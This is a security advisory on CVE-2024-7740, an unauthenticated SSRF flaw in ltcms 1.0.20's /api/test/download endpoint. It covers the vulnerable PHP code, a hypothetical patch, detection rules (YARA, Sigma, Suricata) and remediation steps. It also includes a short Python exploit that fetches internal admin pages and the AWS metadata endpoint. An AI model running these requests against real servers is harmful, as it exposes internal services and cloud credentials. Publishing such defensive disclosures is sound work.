CVE-2024-7740

Executive Summary

CVE-2024-7740 is a critical Server-Side Request Forgery (SSRF) vulnerability in wanglongcn ltcms version 1.0.20. The flaw resides in the /api/test/download API endpoint, where the url parameter is not properly validated, allowing an unauthenticated remote attacker to make arbitrary HTTP requests from the server. This can lead to internal network scanning, access to cloud metadata endpoints, and potential lateral movement. The vendor was contacted but did not respond, leaving the product unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a standalone PHP application (ltcms). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation (no authentication, low complexity) and the severe impact on confidentiality, integrity, and availability. An attacker can potentially read internal files, interact with internal services, or pivot to other systems.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the /api/test/download endpoint. The application takes a user-supplied url parameter and passes it directly to a server-side function (likely file_get_contents or curl_exec in PHP) without any validation or sanitization. This allows an attacker to specify any URL, including internal IP addresses (e.g., http://127.0.0.1:8080/admin), cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), or other internal services.

The attack flow:

1. Attacker sends a GET request to /api/test/download?url=http://internal-service/.
2. The server fetches the content of that URL.
3. The response is returned to the attacker, revealing internal data.

This can be used to:

• Scan internal network ports.
• Access cloud instance metadata (AWS, GCP, Azure).
• Read local files via file:// protocol (if allowed).
• Perform blind SSRF attacks to interact with internal APIs.

Vulnerable vs. Patched Code

Vulnerable Code (ltcms 1.0.20):

// /api/test/download endpoint
public function download() {
    $url = $_GET['url'];
    $content = file_get_contents($url);
    echo $content;
}

Patched Code (Hypothetical):

// /api/test/download endpoint
public function download() {
    $url = $_GET['url'];
    // Validate URL scheme
    if (!in_array(parse_url($url, PHP_URL_SCHEME), ['http', 'https'])) {
        die('Invalid scheme');
    }
    // Validate host against allowlist
    $host = parse_url($url, PHP_URL_HOST);
    if (!in_array($host, ['api.example.com', 'cdn.example.com'])) {
        die('Host not allowed');
    }
    // Use a whitelist-based approach
    $allowed_urls = [
        'https://api.example.com/data',
        'https://cdn.example.com/resource'
    ];
    if (!in_array($url, $allowed_urls)) {
        die('URL not allowed');
    }
    $content = file_get_contents($url);
    echo $content;
}

The patched code implements strict URL validation, including scheme and host allowlisting, and ideally uses a whitelist of allowed URLs.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-ltcms.com"
# SSRF to internal service
payload = "/api/test/download?url=http://127.0.0.1:8080/admin"
response = requests.get(target + payload)
print(response.text)

# SSRF to AWS metadata
payload = "/api/test/download?url=http://169.254.169.254/latest/meta-data/"
response = requests.get(target + payload)
print(response.text)

Lab Setup:

1. Deploy ltcms 1.0.20 on a local server (e.g., using Docker or XAMPP).
2. Set up a simple internal HTTP server on port 8080 (e.g., python -m http.server 8080).
3. Run the exploit script to verify SSRF.

Blue Team

Detection:

• Monitor for outbound HTTP requests from the web server to unexpected internal IPs (e.g., 127.0.0.1, 10.x.x.x, 169.254.x.x).
• Look for requests to /api/test/download with a url parameter containing internal IPs or cloud metadata endpoints.
• Use network segmentation to prevent the web server from reaching sensitive internal services.

Hunting:

• Search web server logs for GET /api/test/download?url=*.
• Correlate with outbound connections from the web server to unusual destinations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the web server to internal IPs (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata IPs (169.254.169.254, 100.100.100.200 for Alibaba Cloud).
  • Unusual User-Agent strings in outbound requests (if the attacker modifies them).

• File IOCs:

  • Log entries containing /api/test/download?url=.
  • Temporary files created by the server when fetching URLs (e.g., in /tmp/).

• Behavioral IOCs:

  • Multiple requests to /api/test/download with different url values in a short time.
  • Requests to /api/test/download from IPs not in the normal user base.

Detection Engineering

YARA Rule

rule CVE_2024_7740_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against ltcms /api/test/download"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-7740"
    strings:
        $endpoint = "/api/test/download"
        $url_param = "url="
        $internal_ip = /url=(http|https):\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])|192\.168\.|169\.254\.)/
        $metadata = /url=(http|https):\/\/169\.254\.169\.254/
    condition:
        $endpoint and $url_param and ($internal_ip or $metadata)
}

Sigma Rule

title: SSRF Exploitation via ltcms /api/test/download
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against ltcms CVE-2024-7740
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/test/download?url="
    filter:
        cs-uri-query|contains:
            - "url=http://"
            - "url=https://"
    condition: selection and filter
falsepositives:
    - Legitimate use of the download feature with external URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7740 SSRF Attempt"; flow:to_server; content:"/api/test/download"; http_uri; content:"url="; http_uri; pcre:"/url=(http|https):\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])|192\.168\.|169\.254\.)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If possible, remove or disable the /api/test/download endpoint until a patch is available.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /api/test/download with url parameters containing internal IPs or cloud metadata IPs.
3. Network Segmentation: Ensure the web server cannot reach internal networks or cloud metadata endpoints. Use firewall rules to block outbound traffic to private IP ranges from the web server.

Long-Term Fix:

• Apply input validation and allowlisting for the url parameter as shown in the patched code example.
• Contact the vendor for an official patch. If unresponsive, consider migrating to a different CMS.

Detection:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Monitor logs for SSRF patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence